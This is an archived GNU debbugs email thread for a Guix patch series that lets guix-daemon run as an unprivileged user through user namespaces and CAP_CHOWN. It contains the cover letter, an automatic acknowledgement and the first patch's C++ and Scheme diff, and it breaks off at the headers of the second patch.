GNU logs - #75810, boring messages


Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 0/6] Rootless guix-daemon
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:24:02 +0000
Resent-Message-ID: <handler.75810.B.173773941912739 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: report 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>
X-Debbugs-Original-To: guix-patches@HIDDEN
Received: via spool by submit <at> debbugs.gnu.org id=B.173773941912739
          (code B ref -1); Fri, 24 Jan 2025 17:24:02 +0000
Received: (at submit) by debbugs.gnu.org; 24 Jan 2025 17:23:39 +0000
Received: from localhost ([127.0.0.1]:46876 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNP4-0003JI-FG
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:38 -0500
Received: from lists.gnu.org ([2001:470:142::17]:42976)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNP1-0003Iq-4f
 for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:23:32 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10])
 by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>) id 1tbNOv-0002jg-NH
 for guix-patches@HIDDEN; Fri, 24 Jan 2025 12:23:25 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNOu-0007lR-MV; Fri, 24 Jan 2025 12:23:24 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=PD6esGgynPOINnX7oSt5mYPBliDR3e5pryXB3tW8/8Y=; b=o5s3EXNxJjPzrE
 QAPCs6SEqUTl9K8Ax/LFlk2P11elT2FIKR+lUR3P1O0PZXD2EK8/2ko/zGqP/I06vUW6fCzWfztCC
 JMufeWCYISqjvsRBj1a2rxWkdhh9fBCDANPrb8b0uMNptCuVvL2g3AoTBGWlzQdMbQfXdHmSkCdMy
 q6lhuJ5FY7omSLwY/RiFK4Taq4sEh0kisiNawfpj/gwQsPUUaL01CUOiBhs3JT+xvkFrZDj7sieZ4
 EBK8WRIYlzu2X7zBKezFo50L/cC49p4OKy5GiuKz7gQdF1GfnCyA/VGWwVMJN68doY2D004fQKtgR
 logQONcnHtvbM+5exx7Q==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:23:08 +0100
Message-ID: <cover.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -0.0 (/)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -1.0 (-)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

Hello Guix!

That guix-daemon runs as root is not confidence-inspiring for many.
Initially, the main reason for running it as root was, in the absence
of user namespaces, the fact that builders would be started under one
of the build user accounts, which only root can do.  Now that
unprivileged user namespaces are almost ubiquitous (even on HPC
clusters), this is no longer a good reason.

This patch changes guix-daemon so it can run as an unprivileged
user, using unprivileged user namespaces to still support isolated
builds.  There’s a couple of cases where root is/was still necessary:

  1. To create /var/guix/profiles/per-user/$USER and chown it
     as $USER (see CVE-2019-18192).

  2. To chown /tmp/guix-build-* when using ‘--keep-failed’.

Both can be addressed by giving CAP_CHOWN to guix-daemon, and this is
what this patch series does on distros using systemd.  (For some
reason CAP_CHOWN had to be added to the set of “ambient capabilities”,
which are inherited by child processes; this is why there’s a patch
to drop ambient capabilities in build processes.)

On Guix System (not implemented here), we could address (1) by
creating /var/guix/profiles/per-user/$USER upfront for all the
user accounts.  We could leave (2) unaddressed (so failed build
directories would be owned by guix-daemon:guix-daemon) or we’d
have to pass CAP_CHOWN as well.

There’s another issue: /gnu/store can no longer be remounted
read-only (like we do on Guix System and on systemd with
‘gnu-store.mount’) because then unprivileged guix-daemon would
be unable to remount it read-write (or at least I couldn’t find
a way to do that).  Thus ‘guix-install.sh’ no longer installs
‘gnu-store.mount’ in that case.  It’s a bit sad to lose that
so if anyone can think of a way to achieve it, that’d be great.

I tested all this in a Debian VM¹, along these lines:

  1. GUIX_ALLOW_ME_TO_USE_PRIVATE_COMMIT=yes make update-guix-package
  2. ./pre-inst-env guix pack -C zstd guix --without-tests=guix \
        --localstatedir --profile-name=current-guix
  3. Copy ‘guix-install.sh’ and the tarball to the VM over SSH.
  4. In the VM: GUIX_BINARY_FILE_NAME=pack.tar.zst ./guix-install.sh

The next step (in another patch series) would be Guix System support
with automatic transition (essentially “chown -R
guix-daemon:guix-daemon /gnu/store”).

Thoughts?

Ludo’.

¹ https://cdimage.debian.org/debian-cd/current-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-standard.iso

Ludovic Courtès (6):
  daemon: Allow running as non-root with unprivileged user namespaces.
  DRAFT tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 +++-
 config-daemon.ac            |   2 +-
 etc/guix-daemon.service.in  |  12 +++-
 etc/guix-install.sh         | 114 ++++++++++++++++++++++++-------
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 132 ++++++++++++++++++++++++++++++------
 nix/libstore/local-store.cc |  30 +++++---
 tests/store.scm             |  89 ++++++++++++++----------
 8 files changed, 300 insertions(+), 97 deletions(-)


base-commit: bc6769f1211104dbc9341c064275cd930f5dfa3a
-- 
2.47.1





Message sent:


Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Mailer: MIME-tools 5.505 (Entity 5.505)
Content-Type: text/plain; charset=utf-8
X-Loop: help-debbugs@HIDDEN
From: help-debbugs@HIDDEN (GNU bug Tracking System)
To: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Subject: bug#75810: Acknowledgement ([PATCH 0/6] Rootless guix-daemon)
Message-ID: <handler.75810.B.173773941912739.ack <at> debbugs.gnu.org>
References: <cover.1737738362.git.ludo@HIDDEN>
X-Gnu-PR-Message: ack 75810
X-Gnu-PR-Package: guix-patches
X-Gnu-PR-Keywords: patch
Reply-To: 75810 <at> debbugs.gnu.org
Date: Fri, 24 Jan 2025 17:24:02 +0000

Thank you for filing a new bug report with debbugs.gnu.org.

This is an automatically generated reply to let you know your message
has been received.

Your message is being forwarded to the package maintainers and other
interested parties for their attention; they will reply in due course.

Your message has been sent to the package maintainer(s):
 guix-patches@HIDDEN

If you wish to submit further information on this problem, please
send it to 75810 <at> debbugs.gnu.org.

Please do not send mail to help-debbugs@HIDDEN unless you wish
to report a problem with the Bug-tracking system.

--=20
75810: https://debbugs.gnu.org/cgi/bugreport.cgi?bug=3D75810
GNU Bug Tracking System
Contact help-debbugs@HIDDEN with problems


Message sent to guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 1/6] daemon: Allow running as non-root with unprivileged user namespaces.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix@HIDDEN, dev@HIDDEN, ludo@HIDDEN, othacehe@HIDDEN, zimon.toutoune@HIDDEN, me@HIDDEN, guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:02 +0000
Resent-Message-ID: <handler.75810.B75810.173773952013360 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludovic.courtes@HIDDEN>, Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
X-Debbugs-Original-Xcc: Christopher Baines <guix@HIDDEN>, Josselin Poiret <dev@HIDDEN>, Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>, Mathieu Othacehe <othacehe@HIDDEN>, Simon Tournier <zimon.toutoune@HIDDEN>, Tobias Geerinckx-Rice <me@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952013360
          (code B ref 75810); Fri, 24 Jan 2025 17:26:02 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:20 +0000
Received: from localhost ([127.0.0.1]:46890 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQk-0003Sl-7c
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:20 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39734)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQh-0003N4-Ab
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:16 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQc-00082X-0O; Fri, 24 Jan 2025 12:25:10 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=xpCSNZlKD/xC2GsfHtr1wqnKQLVLgRRMGCIqgMVlQ94=; b=QBQPaD4IAa/nSt+g28pj
 jh5L6YWqgV/CvdgjR+5jgXgV4uZTPZX0U2j7ZtZ5TREl0bwCo+g1xRkGJXb9lSR9o+cKFeFifmWRz
 9J/ZZZ58Yd4Y35oVCyuyzSrlvYe4QqIEsf8aB5Rk/3RiOx6aIHd98Aw0FN4GzVz64Z8+HI0adWkeD
 mGIO7H4a9M095pamkOHgr6LhaAbMZJ6EiS+b+fuELhroa+QAeoozF0KcdwBNfZYztFWKYe42epvQ+
 +tn8TFNzuCbPEZ5p7UsD0GMoEZ2UWYq1iZ0Dn9z45sR++NKd+0it6MljZ4KZ0Qzre2xvx5hPyMzWY
 t5y7kS7+4HDZag==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:51 +0100
Message-ID: <41862c6aa51aa70c69a348635eb03a5ca8069695.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

From: Ludovic Courtès <ludovic.courtes@HIDDEN>

* nix/libstore/build.cc (guestUID, guestGID): New variables.
(initializeUserNamespace): New function.
(DerivationGoal::startBuilder): Call ‘chown’
only when ‘buildUser.enabled()’ is true.  Pass CLONE_NEWUSER to ‘clone’
when ‘buildUser.enabled()’ is false or not running as root.  Retry
‘clone’ without CLONE_NEWUSER upon EPERM.
(DerivationGoal::registerOutputs): Make ‘actualPath’ writable before
‘rename’.
(DerivationGoal::deleteTmpDir): Catch ‘SysError’ around ‘_chown’ call.
* nix/libstore/local-store.cc (LocalStore::createUser): Do nothing if
‘dirs’ already exists.  Warn instead of failing when failing to chown
‘dir’.
* guix/substitutes.scm (%narinfo-cache-directory): Check for
‘_NIX_OPTIONS’ rather than getuid() == 0 to determine the cache
location.

Change-Id: I38fbe01f80fb45a99cd8a391e55a39a54d64fcb7
---
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 123 +++++++++++++++++++++++++++++-------
 nix/libstore/local-store.cc |  22 +++++--
 3 files changed, 118 insertions(+), 31 deletions(-)

diff --git a/guix/substitutes.scm b/guix/substitutes.scm
index e31b394020..2761a3dafb 100644
--- a/guix/substitutes.scm
+++ b/guix/substitutes.scm
@@ -1,5 +1,5 @@
 ;;; GNU Guix --- Functional package management for GNU
-;;; Copyright © 2013-2021, 2023-2024 Ludovic Courtès <ludo@HIDDEN>
+;;; Copyright © 2013-2021, 2023-2025 Ludovic Courtès <ludo@HIDDEN>
 ;;; Copyright © 2014 Nikita Karetnikov <nikita@HIDDEN>
 ;;; Copyright © 2018 Kyle Meyer <kyle@HIDDEN>
 ;;; Copyright © 2020 Christopher Baines <mail@HIDDEN>
@@ -76,7 +76,7 @@ (define %narinfo-cache-directory
   ;; time, 'guix substitute' is called by guix-daemon as root and stores its
   ;; cached data in /var/guix/….  However, when invoked from 'guix challenge'
   ;; as a user, it stores its cache in ~/.cache.
-  (if (zero? (getuid))
+  (if (getenv "_NIX_OPTIONS")                     ;invoked by guix-daemon
       (or (and=> (getenv "XDG_CACHE_HOME")
                  (cut string-append <> "/guix/substitute"))
           (string-append %state-directory "/substitute/cache"))
diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34..727472c77f 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1622,6 +1622,25 @@ int childEntry(void * arg)
 }
 
 
+/* UID and GID of the build user inside its own user namespace.  */
+static const uid_t guestUID = 30001;
+static const gid_t guestGID = 30000;
+
+/* Initialize the user namespace of CHILD.  */
+static void initializeUserNamespace(pid_t child)
+{
+    auto hostUID = getuid();
+    auto hostGID = getgid();
+
+    writeFile("/proc/" + std::to_string(child) + "/uid_map",
+	      (format("%d %d 1") % guestUID % hostUID).str());
+
+    writeFile("/proc/" + std::to_string(child) + "/setgroups", "deny");
+
+    writeFile("/proc/" + std::to_string(child) + "/gid_map",
+	      (format("%d %d 1") % guestGID % hostGID).str());
+}
+
 void DerivationGoal::startBuilder()
 {
     auto f = format(
@@ -1685,7 +1704,7 @@ void DerivationGoal::startBuilder()
 	   then an attacker could create in it a hardlink to a root-owned file
 	   such as /etc/shadow.  If 'keepFailed' is true, the daemon would
 	   then chown that hardlink to the user, giving them write access to
-	   that file.  */
+	   that file.  See CVE-2021-27851.  */
 	tmpDir += "/top";
 	if (mkdir(tmpDir.c_str(), 0700) == 1)
 	    throw SysError("creating top-level build directory");
@@ -1802,7 +1821,7 @@ void DerivationGoal::startBuilder()
         if (mkdir(chrootRootDir.c_str(), 0750) == -1)
             throw SysError(format("cannot create ‘%1%’") % chrootRootDir);
 
-        if (chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootRootDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootRootDir);
 
         /* Create a writable /tmp in the chroot.  Many builders need
@@ -1821,8 +1840,8 @@ void DerivationGoal::startBuilder()
             (format(
                 "nixbld:x:%1%:%2%:Nix build user:/:/noshell\n"
                 "nobody:x:65534:65534:Nobody:/:/noshell\n")
-                % (buildUser.enabled() ? buildUser.getUID() : getuid())
-                % (buildUser.enabled() ? buildUser.getGID() : getgid())).str());
+                % (buildUser.enabled() ? buildUser.getUID() : guestUID)
+                % (buildUser.enabled() ? buildUser.getGID() : guestGID)).str());
 
         /* Declare the build user's group so that programs get a consistent
            view of the system (e.g., "id -gn"). */
@@ -1859,7 +1878,7 @@ void DerivationGoal::startBuilder()
         createDirs(chrootStoreDir);
         chmod_(chrootStoreDir, 01775);
 
-        if (chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
+        if (buildUser.enabled() && chown(chrootStoreDir.c_str(), 0, buildUser.getGID()) == -1)
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
@@ -1971,14 +1990,42 @@ void DerivationGoal::startBuilder()
     if (useChroot) {
 	char stack[32 * 1024];
 	int flags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | SIGCHLD;
-	if (!fixedOutput) flags |= CLONE_NEWNET;
+	Pipe readiness;
+	if (!fixedOutput) {
+	    flags |= CLONE_NEWNET;
+	}
+	if (!buildUser.enabled() || getuid() != 0) {
+	    flags |= CLONE_NEWUSER;
+	    readiness.create();
+	}
+
 	/* Ensure proper alignment on the stack.  On aarch64, it has to be 16
 	   bytes.  */
-	pid = clone(childEntry,
+ 	pid = clone(childEntry,
 		    (char *)(((uintptr_t)stack + sizeof(stack) - 8) & ~(uintptr_t)0xf),
 		    flags, this);
-	if (pid == -1)
-	    throw SysError("cloning builder process");
+	if (pid == -1) {
+	    if ((flags & CLONE_NEWUSER) != 0 && getuid() != 0)
+		/* 'clone' fails with EPERM on distros where unprivileged user
+		   namespaces are disabled.  Error out instead of giving up on
+		   isolation.  */
+		throw SysError("cannot create process in unprivileged user namespace");
+	    else
+		throw SysError("cloning builder process");
+	}
+
+	if ((flags & CLONE_NEWUSER) != 0) {
+	    /* Initialize the UID/GID mapping of the guest.  */
+	    if (pid == 0) {
+		char str[20] = { '\0' };
+		readFull(readiness.readSide, (unsigned char*)str, 3);
+		if (strcmp(str, "go\n") != 0)
+		    throw Error("failed to initialize process in unprivileged user namespace");
+	    } else {
+		initializeUserNamespace(pid);
+		writeFull(readiness.writeSide, (unsigned char*)"go\n", 3);
+	    }
+	}
     } else
 #endif
     {
@@ -2030,17 +2077,19 @@ void DerivationGoal::runChild()
 
 #if CHROOT_ENABLED
         if (useChroot) {
-            /* Initialise the loopback interface. */
-            AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
-            if (fd == -1) throw SysError("cannot open IP socket");
+	    if (!fixedOutput) {
+		/* Initialise the loopback interface. */
+		AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+		if (fd == -1) throw SysError("cannot open IP socket");
 
-            struct ifreq ifr;
-            strcpy(ifr.ifr_name, "lo");
-            ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
-            if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
-                throw SysError("cannot set loopback interface flags");
+		struct ifreq ifr;
+		strcpy(ifr.ifr_name, "lo");
+		ifr.ifr_flags = IFF_UP | IFF_LOOPBACK | IFF_RUNNING;
+		if (ioctl(fd, SIOCSIFFLAGS, &ifr) == -1)
+		    throw SysError("cannot set loopback interface flags");
 
-            fd.close();
+		fd.close();
+	    }
 
             /* Set the hostname etc. to fixed values. */
             char hostname[] = "localhost";
@@ -2463,8 +2512,16 @@ void DerivationGoal::registerOutputs()
             if (buildMode == bmRepair)
               replaceValidPath(path, actualPath);
             else
-              if (buildMode != bmCheck && rename(actualPath.c_str(), path.c_str()) == -1)
-                throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		if (buildMode != bmCheck) {
+		    if (S_ISDIR(st.st_mode))
+			/* Change mode on the directory to allow for
+			   rename(2).  */
+			chmod(actualPath.c_str(), st.st_mode | 0700);
+		    if (rename(actualPath.c_str(), path.c_str()) == -1)
+			throw SysError(format("moving build output `%1%' from the chroot to the store") % path);
+		    if (S_ISDIR(st.st_mode) && chmod(path.c_str(), st.st_mode) == -1)
+			throw SysError(format("restoring permissions on directory `%1%'") % actualPath);
+		}
           }
           if (buildMode != bmCheck) actualPath = path;
         }
@@ -2723,8 +2780,25 @@ void DerivationGoal::deleteTmpDir(bool force)
             // Change the ownership if clientUid is set. Never change the
             // ownership or the group to "root" for security reasons.
             if (settings.clientUid != (uid_t) -1 && settings.clientUid != 0) {
-                _chown(tmpDir, settings.clientUid,
-                       settings.clientGid != 0 ? settings.clientGid : -1);
+		uid_t uid = settings.clientUid;
+		gid_t gid = settings.clientGid != 0 ? settings.clientGid : -1;
+		try {
+		    _chown(tmpDir, uid, gid);
+
+		    if (getuid() != 0) {
+			/* If, without being root, the '_chown' call above
+			   succeeded, then it means we have CAP_CHOWN.  Retake
+			   ownership of tmpDir itself so it can be renamed
+			   below.  */
+			chown(tmpDir.c_str(), getuid(), getgid());
+		    }
+		} catch (SysError & e) {
+		    /* When running as an unprivileged user and without
+		       CAP_CHOWN, we cannot chown the build tree.  Print a
+		       message and keep going.  */
+		    printMsg(lvlInfo, format("cannot change ownership of build directory '%1%': %2%")
+			     % tmpDir % strerror(e.errNo));
+		}
 
 		if (top != tmpDir) {
 		    // Rename tmpDir to its parent, with an intermediate step.
@@ -2733,6 +2807,11 @@ void DerivationGoal::deleteTmpDir(bool force)
 			throw SysError("pivoting failed build tree");
 		    if (rename((pivot + "/top").c_str(), top.c_str()) == -1)
 			throw SysError("renaming failed build tree");
+
+		    if (getuid() != 0)
+			/* Running unprivileged but with CAP_CHOWN.  */
+			chown(top.c_str(), uid, gid);
+
 		    rmdir(pivot.c_str());
 		}
             }
diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 0883a4bbce..4308264a4f 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -306,14 +306,14 @@ void LocalStore::openDB(bool create)
 void LocalStore::makeStoreWritable()
 {
 #if HAVE_UNSHARE && HAVE_STATVFS && HAVE_SYS_MOUNT_H && defined(MS_BIND) && defined(MS_REMOUNT)
-    if (getuid() != 0) return;
     /* Check if /nix/store is on a read-only mount. */
     struct statvfs stat;
     if (statvfs(settings.nixStore.c_str(), &stat) != 0)
         throw SysError("getting info about the store mount point");
 
     if (stat.f_flag & ST_RDONLY) {
-        if (unshare(CLONE_NEWNS) == -1)
+	int flags = CLONE_NEWNS | (getpid() == 0 ? 0 : CLONE_NEWUSER);
+        if (unshare(flags) == -1)
             throw SysError("setting up a private mount namespace");
 
         if (mount(0, settings.nixStore.c_str(), "none", MS_REMOUNT | MS_BIND, 0) == -1)
@@ -1614,11 +1614,19 @@ void LocalStore::createUser(const std::string & userName, uid_t userId)
 {
     auto dir = settings.nixStateDir + "/profiles/per-user/" + userName;
 
-    createDirs(dir);
-    if (chmod(dir.c_str(), 0755) == -1)
-	throw SysError(format("changing permissions of directory '%s'") % dir);
-    if (chown(dir.c_str(), userId, -1) == -1)
-	throw SysError(format("changing owner of directory '%s'") % dir);
+    auto created = createDirs(dir);
+    if (!created.empty()) {
+	if (chmod(dir.c_str(), 0755) == -1)
+	    throw SysError(format("changing permissions of directory '%s'") % dir);
+
+	/* The following operation requires CAP_CHOWN or can be handled
+	   manually by a user with CAP_CHOWN.  */
+	if (chown(dir.c_str(), userId, -1) == -1) {
+	    rmdir(dir.c_str());
+	    string message = strerror(errno);
+	    printMsg(lvlInfo, format("failed to change owner of directory '%1%' to %2%: %3%") % dir % userId % message);
+	}
+    }
 }
 
 
-- 
2.47.1





Message sent to guix-patches@HIDDEN:


X-Loop: help-debbugs@HIDDEN
Subject: [bug#75810] [PATCH 2/6] DRAFT tests: Run in a chroot and unprivileged user namespaces.
Resent-From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Original-Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
Resent-CC: guix-patches@HIDDEN
Resent-Date: Fri, 24 Jan 2025 17:26:02 +0000
Resent-Message-ID: <handler.75810.B75810.173773952413386 <at> debbugs.gnu.org>
Resent-Sender: help-debbugs@HIDDEN
X-GNU-PR-Message: followup 75810
X-GNU-PR-Package: guix-patches
X-GNU-PR-Keywords: patch
To: 75810 <at> debbugs.gnu.org
Cc: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Received: via spool by 75810-submit <at> debbugs.gnu.org id=B75810.173773952413386
          (code B ref 75810); Fri, 24 Jan 2025 17:26:02 +0000
Received: (at 75810) by debbugs.gnu.org; 24 Jan 2025 17:25:24 +0000
Received: from localhost ([127.0.0.1]:46898 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tbNQq-0003To-5Q
	for submit <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:24 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:39746)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tbNQi-0003NN-Tg
 for 75810 <at> debbugs.gnu.org; Fri, 24 Jan 2025 12:25:17 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tbNQd-00082m-D2; Fri, 24 Jan 2025 12:25:11 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=bRN6Nu59+C3SYAE0PEM9bbTrcQYq/PayE8qd5RFzwjI=; b=M9DURPznSXpt/+0Faw8C
 EdqRR1TvbFB7f6yj81bRRhFhl1Vc1JeO65oV8gml+XdJTxFRZ5ijqmD853y1AoMF0nbhaeLxgdq4f
 q7hmO+LYKdWkIvi4uEzUVVCHdHl0CNtMVbIt4YWgZ1b6bAedkxM8DtSVBeI/dDCMoJ6XplYoNIvXB
 WKD3IamMG5IxYZlDg7gBjEoEK45fms4irhWHmes9jcc++Riww16spzf0+6NLr4ZJG0M2ElvMexhAv
 F5ngTtp3LOzbY5eid1vrzM9akT4G6GAGL1oNUaJDm8r9ntfwuM4r4FzjoR/p1YOrKA2FJgu7l1bJP
 vBZ7RxfdQgwm4w==;
From: Ludovic =?UTF-8?Q?Court=C3=A8s?= <ludo@HIDDEN>
Date: Fri, 24 Jan 2025 18:24:52 +0100
Message-ID: <6fb69ee481d628317ed09c6e762f38489bab0ea7.1737738362.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.47.1
In-Reply-To: <cover.1737738362.git.ludo@HIDDEN>
References: <cover.1737738362.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
